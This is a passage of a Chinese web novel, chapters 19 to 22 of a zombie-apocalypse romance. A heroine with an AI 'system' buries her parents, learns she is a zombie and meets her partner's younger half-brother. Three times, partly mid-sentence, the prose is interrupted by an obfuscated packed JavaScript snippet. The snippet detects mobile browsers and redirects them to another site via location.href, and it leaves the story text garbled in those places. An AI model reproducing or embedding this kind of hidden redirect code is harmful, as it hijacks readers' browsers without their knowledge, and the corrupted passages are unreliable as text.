系统有点晕，但它懂应和：“有道理啊，他想害人，那真是轻而易举啊。” “那你说，我现在为人除害，怎么样？” 轻飘飘的一句好似千斤重，系统没有心跳，但它感觉自己心率上升到一百八了。 这…… 它该怎么回？ 也没系统教过它，同盟反水怎么解决啊？ 千钧一发之际，寻春转过身来：“你是不是又在诋毁我？” 有句话说的不错，人在尴尬的时候真的会假装很忙。 续昼入戏，被当场抓包，她立刻四处张望，手还不忘扯着树叶，尬笑：“哈哈，这里的植物长得真好啊。” 全程目睹续昼丝滑小动作的系统：…… 它在慌什么？ 就这，她不被干掉就算不错了。 19. Chapter 19 “你啊，还傻笑，”寻春无奈，抬手轻敲续昼脑袋，“少在心里诽谤我，盼我点好的。” 看她这无用的遮掩小动作，就知道她又在想着阴谋诡计了。要说他为什么能猜到她的心思，可能是长久形成的默契。 过往的种种经历不说也罢。 续昼听话点头，拍着胸脯，信誓旦旦：“当然，信我。” 心里琢磨，太熟了就是不好。 等寻春刚转过身，她就冲他后背做了个鬼脸，以示不服。同时还不忘问系统：“你说话啊，我干掉他怎么样？” “动手的时候记得先告诉我，”系统委婉，“我先跑路。” 续昼恨铁不成钢：“没志气。” 系统躺平。 同盟都这样了，它还挣扎什么。 天塌了，有同盟的嘴顶着。 续昼戏瘾过了，这一小段插曲也很快过去。虽是这么演，但她对寻春很有自信，他不会成为那个卧底，不为什么。 系统也看懂了续昼的操作，当今时代，偶尔发下疯，很正常的。 植物小径走起来，最大的感受就是，拦路植物太多了，枝丫乱飞，她们像误入巨人国的小人，抬头不见天空，入眼即是绿。植物清香扑鼻，好在没有蚊虫叮咬，不然以她的体质，早就起了很多包。 这里肯定没有人的痕迹，不然这路段早就被清理了。 续昼拉着寻春的衣角，脚步声不停，路径弯弯绕绕，像走迷宫。 蓦地，寻春长叹一口气。 他的声音闷闷的，还有一丁点的惆怅，回旋在茂盛植被编织出来的网笼中，散不去。 他说：“我也不知道现在的我到底算什么，不是人，又不像丧尸，也许是个怪物。” “末日已经好久了。” “你不用担心，我一直在人类这边，和你一样。” 细碎的阳光透过叶片间的缝隙，彩色光斑如同小精灵，欢快跳跃在半空。 “灯灯。” “哎。” 寻春的声音再度传来时，续昼如梦初醒，才发现自己一直盯着光斑，眼睛酸涩的不行。 寻春他，果然也想过这些事情。 该死的默契。 压下翻飞的思绪，她什么也没回应，渐渐，轻快的气氛变了，新的气氛好似乌云压顶，蔓延开来。 系统听着这无缘无故，没有任何铺垫的话，连连摇头感慨。 好一对默契十足的璧尸。 这脑回路真给他们俩撞一起了。 系统秉持着分享的好原则，也给同期系统说了这个发现，收获同期系统的夸奖，两统再次以此展开长篇讨论。 系统导航的终点是续昼的家。 她的父母没有逃过感染性病毒，在末日降临初始就变成了丧尸，死在自家院子里。 踏上熟悉的路，续昼久违感受到近乡情怯。距离越走越近，直到靠近。院门是敞开的，续昼停下，站在门口，没有勇气进去。 寻春让出位置，拍拍她肩膀。她抬头，他眼神鼓励，轻推着她肩膀让她进门。 续昼进了院子。 正对着院门的院墙左侧种着棵桂花树，桂花树伸展枝叶，撑起一把绿伞，伞下是斑驳的阴影，树荫下的光线变得柔和又朦胧，续父续母躺在树下，风化已经侵上他们的身体，但他们面容看来仍旧安详。 续昼一步一步走近，她眼睛也不眨，望着父母。如此岁月静好的场景，也许他们只是睡着了，她妄想从其中看到熟悉的笑容，脑海里却是闪过一帧帧从前的画面。 大脑没有欺瞒她，她清楚的知道父母离开了。 密密麻麻的悲伤如洪水泛滥，涌上心头。 离别其实是续昼很早就学会的课题。 孤儿身份的续父续母，对她的第一个教育就是离别。离别是个很沉重的话题，但他们没有任何遮掩。 小时候，小续昼有一个玩伴是孤儿院的，她患有先天性疾病，她的父母养不起，就把她遗弃在孤儿院墙角。院长养了她几年，最后，她病发而亡。 那个孤儿院是续父以前待过的地方，他每隔一段时间会回孤儿院看望，小续昼就是那个时候结识了玩伴。 某次，续父带着小续昼回孤儿院，小续昼带了自己做的小玩偶，打算送给玩伴。小玩偶刚送出去没多久，天就阴了。 病发突然，小续昼是看着玩伴闭眼的。 被续父捂住耳朵的时候，她的指尖还残留着玩伴的温度。 “爸爸，她睡着了吗？” “她在另一个地方醒了。” 小续昼听不懂，她呆呆望着自己送给玩伴的玩偶出神。 她在孤儿院外的木桥上坐了很久，那里是她和玩伴经常待的地方，玩伴身体不好，不能总是剧烈运动，所以她们有时会一起躺在桥上望着天空。 玩伴：“灯灯，你给我取个名字吧。” 她不解：“院长阿姨不是给你取了个名字吗？” “但那是别人都知道的名字，我们是朋友，我想让你给我取个，只有朋友才知道的名字。” 小续昼脑海里的词汇少得可怜，她一时间只能想到昨天在画本里见过的花：“你喜欢向日葵吗？” “向日葵是什么？” “它是一种花，圆圆的，很大，是金色的，书上说它会跟着太阳转。” 玩伴睁大了眼睛：“哇，听上去它好厉害。你要给我取这个名字吗？” “嗯。”小续昼点头。 “好好听，我喜欢这个名字。”玩伴伸出右手，“你好啊，我叫向日葵，我们做朋友吧。” 小续昼伸手，但皱眉纠结，犹豫说：“……你还没有给我取名字呢。” “对哦，”向日葵恍然，开始思考，“好难，我该给你取个什么名字呢？” 思来想去，向日葵最终拍板：“你叫小太阳吧，这样你一转身，就能看到向日葵，看到我了。” “小太阳……” “对，小太阳和向日葵是一直在一起的。”向日葵挽着小续昼的手，嘴里嘟囔着，“她们是好朋友，很好很好的好朋友。” “好，我们是好朋友。” 小续昼和向日葵笑得很开心。 向日葵的声音很轻很轻，像蒲公英拂过耳朵不留下痕迹：“……要是我不在了，你回头看看，就能看到我了。” …… 处理完后事，续父接小续昼回家的时候，看见她正对着向日葵和太阳的玩偶发呆。他抱起小续昼，让她挥手，跟向日葵拜拜。 小续昼照做。 回家途中，续父买了一个蛋糕。 这一天的结尾，续父续母语气平淡的告诉她，向日葵已经不在了。他们轻描淡写，往她的脑袋里塞着关于死亡、离别的概念。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15282827|166912||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个蛋糕是为她庆祝离别的。 续父拿出蛋糕摆在桌子上，续母拉着小续昼走到桌子前，温柔问她。 “妈妈最爱的小灯灯，要是以后我们不在了，你会不会害怕啊？” “会，我不要你们离开。” “乖，不要害怕，我们一起来吃个蛋糕吧，庆祝我们以后的离别。” 离谱。 有谁的蛋糕主题会是离别啊？ 有谁会庆祝离别啊？ …… 那天的梦里，小续昼梦到了向日葵。向日葵站在孤儿院门口，一如往常，笑容满面，朝她挥手拜拜。 “爸爸妈妈，我回来了。” 续昼瘪嘴，泪眼婆娑，絮絮叨叨。她坐在他们中间，牵起他们干枯的手，包裹在自己的手中间，就像以前，他们牵着自己的手一样。 寻春站在院门口，没有进去打扰续昼。他望向隔壁院子，一阵恍惚，院子里的蔷薇开的更多了，比他走的那天还要好看。 心里泛起涟漪。 傍晚时分，夕阳落下，续昼出来了，面容疲倦，但神色平静。寻春看了一眼，知道她已经调理的差不多了。 寻春找来了工具，和续昼一起在桂花树下挖了个大坑，将续父续母埋葬在此。 桂花树是续昼高考毕业后种下的，现在已经长成大树，也可以遮风挡雨。 续昼躺在树下，寻春找了块布垫着，还拿了盖的。 续昼不说话，看着夕阳彻底落幕，月亮升起。寻春在一边静静陪着。 系统也安静，它能察觉到续昼的情绪波动，看着平静，实际上翻江倒海。 “好累，我也想睡过去。”许久，续昼开口。 “睡吧，记得要在这个地方醒来，我还在。”寻春说。 续昼磨蹭过去，枕着寻春。 吱呀声响，院门口有丧尸在探头探脑。 三双眼睛对视。 哦，还有同伴呢。 没意思，不如他一个丧尸好玩。 几秒后，丧尸察觉到没兴趣又走了。 一夜好眠，第二天太阳照常升起。 “我伟大的同盟，现在已经是早上八点了，美好的一天开始了，快起来做任务啦。”一大早，系统就在脑海里敲锣打鼓。 它昨晚已经向同期系统取过经了，对于调节同盟这种情况，可以多给她找点事情做，分散注意力，让她没有空闲去伤心。 系统疑问：靠谱吗？ 同期系统：百分百靠谱。 初旭不偏不倚，正对着照在脸上。 在睡梦中被吵醒的续昼，腰酸背痛，苦着脸，眯眼。 寻春不用睡，见她醒了，呲牙咧嘴的，他心下了然，习惯性伸手给她揉肩捶背。他许久没干过这事，还有点生疏。 续昼气沉丹田，开口，一通输出：“系统，昨晚我辗转难眠，现在都末日了，更何况我还是个混日子的丧尸，你居然还让我早八醒，你的心不会痛吗？” 话音刚落—— 鸦雀无声，安静的连针掉在地上的声音都能听见。 当然，这都是假象，续昼幻想的假象。 真实情况是，一统一丧尸同时说话。 寻春：“你昨天不是睡得很安详吗？”他一直看着，她身都不带翻一下的。 系统：“我可是高级科技产品，没有心。” 20. Chapter 20 续昼瞪向寻春：“不准拆我台。” 寻春应好。 续昼又说系统：“你再说，我就……我投诉你。” 系统嘿嘿一笑认怂，贴心奉上一首摇篮曲。 续昼又躺了回去，闭眼，脑袋异常清醒，好了，她这下是真辗转难眠了。 事到如今，续昼不得不承认一个事实：她是丧尸，一个货真价实的丧尸。 至于她是如何发现的，故事线还得回到昨晚。 那个好奇的丧尸，它连院门都不进，攻击倾向没有，也没有对人类的好奇，眼神里只有撞见同类的无趣。 她直觉不对劲，虽说她现在被悲伤迷糊了脑袋，但她会灵光一现。 续昼转头就问寻春：“我是人吗？” 寻春摇头。 续昼又问系统：“系统，我是丧尸？” 系统：“是的。” 双重肯定，续昼两眼一抹黑，心乱如麻，脑袋里思绪混乱到可以大乱炖了，一时之间不知道自己是该继续难过，还是诧异自己的真实身份。 算了。 续昼安心闭眼，现在她也是个怪物了。 带着答案再去套过程，就会发现原先很多被忽略的细节。 打赏对象是丧尸，在丧尸群旁边系统说自己很安全，红光丧尸不攻击自己…… 最重要的是，难怪她不吃不喝！原来是丧尸从脑海里就没有这个概念，她就说自己好像遗忘什么重要的东西，但是一直想不起来。 她一直以为自己是人，没想到从最开始就变成了丧尸。 回顾过去，续昼为自己的大胆鞠一把辛酸泪。 续昼哭诉：“系统，你瞒我瞒得好狠啊，一点也不告诉我。” “我一直以为你知道，”系统有理有据，句句在重点，“最开始不是和你说了吗？我虽然清除了你体内的病毒，但人类变成丧尸是不可逆的。” “不听你狡辩。” 续昼是不会承认自己当时没用心听的，主要是谁能想到，醒来的丧尸外表和人类一模一样，会说人话，听不懂丧尸话，还拥有思想？ 离谱到她自己都不相信。 生活跌宕起伏，续昼勉强微笑。 天塌了，没想到最大的“卧底”竟是她自己。 系统安慰道：“往好处想，你又不会成为那个卧底，你不用担心丧尸，还能和人类愉快玩耍，这难道不是一举三得的好事吗？” “你是指我和人类愉快相处，然后被质问‘是不是没经历过末日’？” “这只是意外，这是她太聪明了。”系统换个人举例，“你看那个东轩彩不就没发现？” “那是他心思全在队友身上，再加上我跑得快。” 系统语塞，低声反驳：“……你要这么说话就没意思了。” 续昼沉默以对。 但不得不说，系统提的一举三得，听起来确实很有道理，只要不被发现，不会被坏人抓起来做研究就什么事都没有。 好像，很幸福？ 续昼越想越有盼头。 好在续昼接受能力很强，调理能力也可以，经过一晚上的发酵，她的情绪一直保持稳定。 生活总要继续。 回笼觉是睡不成了，续昼一鼓作气，爬起来给自己来了一段广播体操，寻春难逃魔爪，被要求强制跟做。 “他都恢复了，做任务有什么用？”做操空隙，续昼也不闲着，在心里问系统。 “给我攒能量啊，”系统理直气壮，“我还得去隔壁星系做任务呢。” 续昼回想，好像确实有这么个事。系统带自己找到父母，作为交换，她做任务给它获取足够的能量。 “你不会赖皮吧？我跟你说，这可不行啊，这做人最重要的就是诚信，诚信是什么……”没听到续昼的回答，系统惊慌失措，生怕下一秒就得到它不想听到的回答。 “我是丧尸，谢谢。” “哦，那做丧尸做重要的是什么，是诚信……”系统立马改口套公式。 “停，”眼见系统又要来上一段小作文，续昼立马打断，“我没说不做。” “那你不早说。”系统放心了。 续昼想问的是另一个重点：“要是继续做任务，他会有什么变化？” 不会变回人，那会变成什么？丧尸中的丧尸？ 系统假咳，把气势先摆上，神秘兮兮地说：“你猜，比丧尸更厉害的是什么？” 懂了。 续昼了然，她做完广播体操的最后一个动作，就把任务也做了。 寻春看不见电子屏幕，只能看到续昼在活动右手，紧接着，他又看见花炸开了。 这花每天炸一次，一次不落，也不知道是什么。寻春犹豫着，还是将这件事告诉了续昼。 “你能看见花炸开？”续昼惊讶道。系统也没说任务对象能看到那个特效啊。 “嗯，”寻春点头，“很多次，这些天每天都能看见。” “没事，不用管它。” “你弄的？” “对。” 寻春一想，也只有续昼口中的系统能做到，虽然不知道为什么是炸花，但她这么一说他就不担心了，他知道，他的灯灯肯定不会害他的。 “系统，你们还挺贴心啊，还特意给任务对象提醒。”续昼评价道。 “不用客气。”系统含泪回应，谁知道内测版这么不靠谱啊，下次填问卷的时候它肯定要写个千字长评。 听着系统口中的颤音，续昼都不忍心解释自己说的是反话了。算了，反正这个也不是很重要。 作为一只“新晋”丧尸，续昼回归丧尸身份的第一件事就是，让系统导航最近的丧尸。系统不解，但系统执行力强，很快就规划了最佳路线，直线距离五百米处有三个丧尸。 得到消息，续昼拉着寻春出发。 直线与实际是有差距的，实际距离不止五百米，两丧尸在迷宫中穿梭，绕了三个弯才找到那三个丧尸。 续昼让寻春待在原地，她要独自出击。 续昼背着手，大摇大摆走向三个丧尸。 三个丧尸是路上偶遇的。 其中一只爱好玩的棕发丧尸说自己玩过植物蹦床，并且用丰富的肢体语言形容了植物蹦床的好玩之处，最后，他极力邀请另外两个丧尸和他一起玩。 另外两个丧尸本来也是随处游荡，听了棕发丧尸的讲述，都想尝试，于是纷纷响应。 三个丧尸来到假山。 假山上爬满了植物藤蔓，棕发丧尸做了个示范，双手抓着藤蔓爬上假山，然后纵情一跃，掉向假山下藤蔓编织的网上，落下刚接触网就被弹起，弹跳好几次才停止。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15282828|166912||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 棕发丧尸躺在网上，向另外两个丧尸招手。 另外两个丧尸对视。 好像看起来还不错，要不要试一下？ 棕发丧尸又玩了一次。 另外两个丧尸这才加入植物蹦床的行列。 续昼走向三个丧尸的时候，他们正好爬上假山顶，张开手臂往下跳。 “嘭”“嘭”“嘭”三声，接二连三响起，续昼被吓得下意识往旁边跳了一步，还没有行动，又听见三个丧尸在叫唤。 三个丧尸见来新丧尸了，整整齐齐趴在网上宣传植物蹦床。 毫不夸张的说，这三个丧尸真的很吵，七嘴八舌，就像不听话哭闹的熊孩子，尤其是在续昼听不懂的情况下，她只能通过丧尸的声调和肢体，判断出他们很激动，当然，这种激动不是遇见人类的那种激动。 实验证明，她真的是丧尸。 “他们在说什么？”续昼招手让寻春过来，大声问寻春。 没办法，她和系统都听不懂丧尸话。 这个问题她也问过系统，为什么她一个丧尸听不懂丧尸话？系统的解释是，她体内的病毒清除的太早，语言能力被扼杀在摇篮里。 续昼彻底懂了，有些东西一旦错过，就是一辈子。 她空有丧尸身份，但是形同聋哑丧尸。 “他们在邀请你一起玩植物蹦床，”寻春走过来，给续昼解答，“就是从假山跳下来蹦床。” 这么一解释，续昼明白了刚才看到的一幕。三个丧尸齐跳的场景还是很吓人的，她有那么一刻都以为，是他们看到她是人，才被吸引跳下来的。 系统出声：“那什么，就算你是人，丧尸也没这么傻。” “闭嘴。” 三个丧尸很热情，坚持不懈邀请新丧尸一起玩。 续昼连连摆手，同时让寻春转告：“你跟他们说，我不玩。” 寻春对着三个丧尸叫唤。三个丧尸才闭嘴，爬上假山继续玩。 续昼她们没有待多久。和三只丧尸告别后，她又拉着寻春找了其他的丧尸，无一例外，她进了丧尸堆里，简直是如鱼得水，如履平地，仿佛回到了快乐老家。 “认清现实吧。”系统说。 续昼认命：“早认清了，就没有什么办法能让我听懂丧尸话吗？” “很遗憾，没有。” 回家路上，续昼唉声叹气。 “你听不懂丧尸话，要我教你吗？”寻春跟着跑了一天，给她当了一天的翻译。 续昼很心动这个提议，但她还是狠心拒绝：“我没有点亮语言天赋。” 她很想，但她做不到，她听见的丧尸话全是“啊啊啊”，没有任何区别，她都快怀疑丧尸话是不是一个“啊”字代表所有。 关于这一点，寻春做了解释，也做了实验。其实有丧尸话很多字，只是续昼只能听见“啊”，其它频率的字听不到。 又一次听不出其它字的续昼勇于放弃。 后天努力也没救了，她还是乖乖当一个聋哑丧尸吧。 续昼回归丧尸身份的第一天，无事发生。 续昼回归丧尸身份的第二天，无事发生。 …… 接下来的日子，续昼的生活无比规律，早上做完任务后，除了和寻春出去逛，就是和寻春出去逛，逛的范围都不出楼江镇。 21. Chapter 21 丧尸身份对续昼来说，没有什么变动，她适应良好，甚至在换了身份后，她觉得丧尸都变得眉清目秀了，原本她还会有点不适，现在的她已经可以笑着上去和丧尸击掌了。 如果她会说丧尸话的话，她可能早就和丧尸聊起来了。 系统对她的变化大为吃惊。 续昼想，这可能就是身份带来的底气，让她有恃无恐。毕竟丧尸又不对同类下手，她还怕什么？ 除此之外，她还关注到一个不合时宜且很偏的点：“系统你说，我家一共三个人，全都没逃掉病毒，这概率合理吗？” 系统绞尽脑汁：“嗯……要不说你们是一家的呢。” “谢谢，”续昼微笑，“下次不准再说了。” 系统：“收到。” 把周围逛了个遍，续昼偶然想起了那天的植物蹦床。她立马行动，兴致勃勃去尝试植物蹦床。假山不高，掉下去时的风减缓了失重感，藤蔓弹性可以，身体往上抛时短暂滞空，轻盈又放空。 续昼蹦了好几次，心情逐渐变得轻松愉悦。 这么好玩，难怪那三只丧尸玩了好久。 阳光晒在身上暖洋洋的，她也想起了一件纠结很久的事。 续昼趁着心情好的时候问寻春：“末日那天，你为什么要和我说分手？” 在下面当背景板的寻春：“？” 分手？他吗？ 寻春疑惑。 旧时代的记忆很模糊了，但他努力回想，还是没有找到自己说分手的记忆。况且，无缘无故，他们俩谈得好好的，他怎么会说分手。 寻春没有承认：“我没有说过分手。” 续昼从藤蔓网上跳下来，寻春上前伸手扶住她。 她站稳后，逼近寻春，身体前倾，直视他，再次问道：“你确定没有和我说分手吗？” “我确定，我没有说过。”寻春很确定。 “真的？”续昼困惑不解。其实她也相信寻春，但这个就像一根刺在她心里，不弄清楚她心里不得劲，没办法，她就是很在意。 “真的。”寻春认真的神情不似作假。 两个丧尸开始一一复盘，那天做了什么。 续昼的末日体验还不到一个月，记忆还是很深的。她先说了那天发生的事，下午两人联系结束后，傍晚她就收到了他发来的消息，之后再也联系不上他。 寻春想起那天的事情。半晌，他说道：“傍晚，我手机放家里了，应该是我家里人拿手机给你发的。” 他没有说那天发生的事，只说了发消息的问题。 如此可疑的回答，续昼多看了寻春一眼。她也没反驳，顺着他的话说：“你家里人……应该没有人选吧？” 她脑袋一转，以她对寻春的了解，那天发生的事肯定不太好，他才不说。看他的状态，估计和他家里人有关。 她有知道一些他的过去。 寻春的父母在他小学时候离婚，他跟着父亲。初中他父亲再婚，同年生下一个弟弟，小他一轮。他对家里依赖性不大，不然也不会高考一毕业就出来自己租房子住，自己兼职赚钱。不过虽然他在赚钱，他家里人还是有按时给他打钱。 她见过他家里人，不过是意外见到的。 当时他父亲带着后妈和弟弟出去旅游，恰好那是个假期，她也拖着他出去旅游放松。他是在景区广场看到他们的，双方打了招呼，就分开游玩了。 要说第一感觉，她觉得他家里人都还挺平易近人的，不像有矛盾的样子，特别是他弟弟，叫人的嘴最甜，看他的眼里有崇拜，还想邀请她们一起玩。寻春也说他们的相处模式是这样的。 他母亲那边就没见过真人，只是见过照片和视频，有时会听寻春偶尔提起，哪天去看了他母亲。 总的来说，父母离婚后，就算组成了另一个小家，但双方都对他挺好的，不像她见过的破碎单亲家庭。 只是爱有太多份了，他拥有的多，但不完整。 “……” “救命——” 寻春张嘴想说什么，被突如其来的呼救声打断了。 谈话是肯定不能继续了，续昼和寻春对视一眼，就朝声音来源地跑过去。 跑的过程中，续昼看着寻春的侧脸，什么也看不出来，这当丧尸还和当人时候一样，喜怒不形于色。她心里默默叹气，再找气氛可就不好聊了。 系统八卦：“为什么？” “这你就不用知道了，吃个瓜知道这么详细做什么。” “行吧行吧，那你们记得下次先聊这个。”系统遗憾退场，还不忘许下美好心愿。 续昼：“……满足不了啊。” 她先盲猜一个，和他母亲那边有关。续昼定下猜想后，把今天这个谈话翻篇。 现在重要的是那个喊救命的人。 不过听了一路，呼救声中气十足，一点不像是有危险的样子。续昼皱眉，下意识放慢了脚步，转头就看见寻春也慢了下来。 续昼挤挤眼，用眼神交流：你也觉得奇怪？ 寻春点头。 续昼配上肢体动作：我也是，早就觉得不对劲了，这叫声怎么可能这么平淡，还好我聪明，不会被诱惑到。 寻春竖起大拇指。 纵观全局的系统：？密谋什么呢？它不配听吗？ 被系统吐槽的两丧尸依旧我行我素，续昼的肢体语言甚至已经丰富到快打了一圈太极。但她们脚步也没停，很快就赶到了声源地。 这里靠近海岸，不远处有个人站在礁石上，海浪一阵阵扑在礁石上，把那个人的裤脚打湿了。 续昼定睛一看，越看越眼熟，还没等她想到是谁，旁边的寻春先叫出了这个人的名字：“寻游？” 寻游，小他一轮同父异母的弟弟。 …… 寻游是自己从礁石上下来的，低着头跟在两丧尸后面回家。 续昼三步一回头，只能看见寻游的发顶。她太好奇了，用手臂碰碰寻春，用眼神示意他：你怎么看？ “回家再说。”寻春摇头，凑到续昼耳边小声说。他也不知道，末日后他就没见过寻游，也不知道他的情况，只能等到家后再问。 续昼也知道现在不是问话的好时机，只能在心里和系统先唠两句。 “系统你猜猜，寻游为什么会在这里？” 系统：“不是被丧尸追的，那就是自己跑过来的。” …… 续昼特意让系统导航了没有丧尸的路线回家。有系统和她聊天，一路上也不无聊，甚至她都觉得一眨眼就到家了。 进了院子，续昼就把院门关了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15288233|166912||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这几天她和寻春闲来无事，把家里全部收拾了一遍，院子里的杂草也拔了，现在看起来和旧时代没有多大差别，整洁又美观。 寻游真是有福气。续昼美滋滋想着。 寻游的裤子湿了，寻春先拿了条裤子让他换上。他换完裤子出来，续昼和寻春已经在沙发上坐好了。 寻游小心翼翼地坐在单人沙发上，低头，看起来很怯弱。 续昼一直观察着寻游的动作，直到他在沙发上坐好，完全确定他的状态不好，看起来是问不出来了。不过流程还是要走，她看了眼寻春，先开口：“我可以叫你小游吗？” 寻游抬头先看了寻春，才将视线转向续昼，回答道：“可以的，嫂嫂。” “好，小游你怎么会在礁石上喊救命呢？” 那个礁石距离海岸很近，海浪又小，几步就可以上岸，周边没有丧尸，喊救命根本没有必要。 寻游又低头，双手揪着衣角不停揉搓，好半天才开口：“我是逃出来的，站在礁石上喊救命只是为了吸引别人来找我。” “你是从哪里逃出来的？”续昼接着问。 寻游不过十六七岁，头发长到能遮住眼睛，眼窝凹陷，脸色苍白，身形瘦小，一看就是营养不足，整个人看起来十分憔悴。 听到问题，寻游抿嘴，从搓衣角转向抠手指。 “你为什么要吸引别人来找你？”见他不说话，续昼换了个问题。 寻游沉默。 后面续昼又问了很多其它问题，寻游还是保持沉默，不看人，一句话也不说。 续昼无奈朝寻春摇头，一副心累的表情。现在这个样子，肯定是什么都问不出来，只能换个时间再问。 寻春摸摸续昼的头，让寻游戏先去一楼的房间休息。 房间门侧对着长沙发，续昼站在沙发边看着，寻春领着寻游过去。 寻春拍拍寻游肩膀：“先休息吧。” “好。”寻游点头，进房间关上门。 听到关门声，续昼一下子瘫倒在沙发上。 她叹气：“难怪你们是兄弟，这嘴啊，真是一个比一个闭得紧，问什么也不说。”她翻个身又继续说：“不像我，天生长了一张爱说的嘴。” 寻春走过来，坐在沙发边缘，将她的头挪到自己腿上，又盖了床薄毯子在她身上，垂下眼眸，说道：“下次我就告诉你。” “下次是什么时候？”续昼动了动，给自己找了个更舒服的地方。 “是下次。” “……好一个拖延大法，”续昼哑口无言，“行吧，那记得早点告诉我。” 午后阳光很适合午睡，特别是现在无所事事的日子里，就更想午睡了。续昼枕在寻春腿上，闭上眼没过多会儿就睡了。 寻春背靠沙发，看着她睡着。阳光洒在她脸上，他轻轻拂去她脸上的头发，抬起手替她遮住阳光，神情温柔。 其实他也很想说，只是现在还不是时候。 “哥？”又过了一会，寻游开了一条小缝隙，将头伸出来，小声叫寻春。 寻春侧头，看着寻游明显有话要说的样子，他摇头，轻声说：“你嫂嫂睡了，有什么事等她醒了再说。” 寻游看着沙发上睡着的续昼，又看看专注给她挡阳光的寻春，在门口站了一会，才进房间。 22. Chapter 22 续昼是傍晚醒的，睁开眼就看见昏暗的客厅。 她醒来的时候，房子里空空的，喊谁的名字都没有应答，看来是那兄弟俩一起出去了，也不知道出去干什么。 续昼顺势伸了个懒腰，在客厅里活动十几分钟后，慢悠悠坐在院子里的秋千上，双脚撑地往后退，双脚离地，秋千开始荡啊荡。秋千是寻春和她一起做的，寻春出主力，她辅助。 她抓着秋千吊绳，一上一下看着紧闭的院门。 有一丝不真实。 这样的生活，在旧时代，其实早就已经写进寻春与她的规划中。她每次与寻春幻想的终点就是这种睡到自然醒，不会被打扰，悠闲惬意的退休生活。她每个月都掰着手指头计算着还要多久。 没想到最后在末日提前实现了。 系统出声：“同盟傍晚好，有没有觉得一个丧尸很无聊啊？” 续昼：“并没有。” 系统遗憾离场：“好吧。”它还想和她讨论自己追的剧呢，可惜她不领情，算了，还是自己看，丧尸还是荡秋千吧。 续昼没在意，她可是能荡一个下午的丧尸，无聊是不存在的。 余晖下，光线与影子交织重叠。 “吱呀——” 寻春推门进来，寻游紧随其后，他们手里都拎了一个塑料袋。 “醒多久了？等无聊了吗？”寻春走过来，将袋子里装的东西展示给续昼看，“家里没吃的了，下午我就和寻游出去找了一些。” “刚醒。”续昼点赞，心想寻春考虑的就是周到，她都差点忘了人要吃东西。 “嫂嫂。”寻游说完，径直就进了客厅。 续昼起身，跟着寻春进去。她凑到寻春耳边问：“我们能吃吗？会消化吗？” “你回房间就行，我帮你糊弄过去。”寻春说。 “谢谢你啦，我上二楼了。”续昼一个丝滑的转弯，就上了二楼，朝他挥手。 寻春来到桌子旁时，寻游还坐在椅子上。 他将食物分类摆好，拿了两个面包，对寻游说：“你嫂嫂没什么胃口。你想吃什么就吃，吃完了回房间休息，有什么事，等你想说的时候再说。” 寻游：“好。” 寻春上二楼，看见续昼正蹲在房间门口等他。 …… “嫂嫂，我有话想和你说。” 寻游是在第三天下午找续昼私聊的。 这几天寻游大部分时间都待在房间里，闭门不见丧尸。续昼担心他情绪不好，强制性让他每天都出来晒一会太阳。他虽然不说话，但好在听话，听到在叫他，就会出房间，乖乖坐在秋千上晒太阳。 彼时，续昼在院子里打太极，寻春搬了把椅子旁观。听到寻游的话，两丧尸对视一眼，彼此都看出对方的惊讶。 几秒后，寻春自觉出门，以寻找食物为借口，将空间留给续昼和寻游。他出门前把院门掩上了。 “小游，你要和我说什么？”续昼也不打太极了，一下子窜到秋千旁。她想听他的故事很久了，今天终于等到了。 系统也是，立马放下新点开的电视剧，洗耳恭听。 “嫂嫂对不起。” 续昼怔愣：？这突如其来的道歉，是什么情况？ 寻游做了很久的心理准备，他对上续昼关心的视线，深呼吸一口气，说了很长的一段，中间没有停顿：“我要向你坦白一件事情其实末日那天我哥给你发的分手消息是我发的他根本就不知道那天他着急忙慌的就出去了手机忘拿了我和朋友在玩真心话大冒险是我输了拿他手机给你发的消息。” 他又补了一句：“对不起。” 说完这一长段，有点气短的他，紧张的看着续昼。 续昼正在消化她听到的话。 寻游说的有点快，她还没有反应过来，系统就先叫上了：“什么什么？那分手消息是他发的？真心话大冒险输了都流行这么惩罚吗？” 系统还在说话，但声音越飘越远，续昼已经听不清了。 她的脑袋现在很混乱，各种画面齐齐出现，有她担心到处打电话的片段，有寻游拿手机的片段，有寻春丧尸时保护她的片段……各种片段争先恐后一闪而过。 她怔在原地。 所以说，她那晚的担心害怕是假的，她纠结这么久的心结也是假的。 续昼闭眼。 再睁开眼时，发现寻游揪着她的衣角，眼神里都是慌乱。 “嫂嫂，你没事吧？你打我骂我都行，但这事真的和我哥一点关系都没有，他对你从来都没有这种想法……”寻游越说越慌张。 虽然不知道末日他哥和嫂嫂经历了什么，他也苦恼要不要把这件旧时代发生的事情说出来。 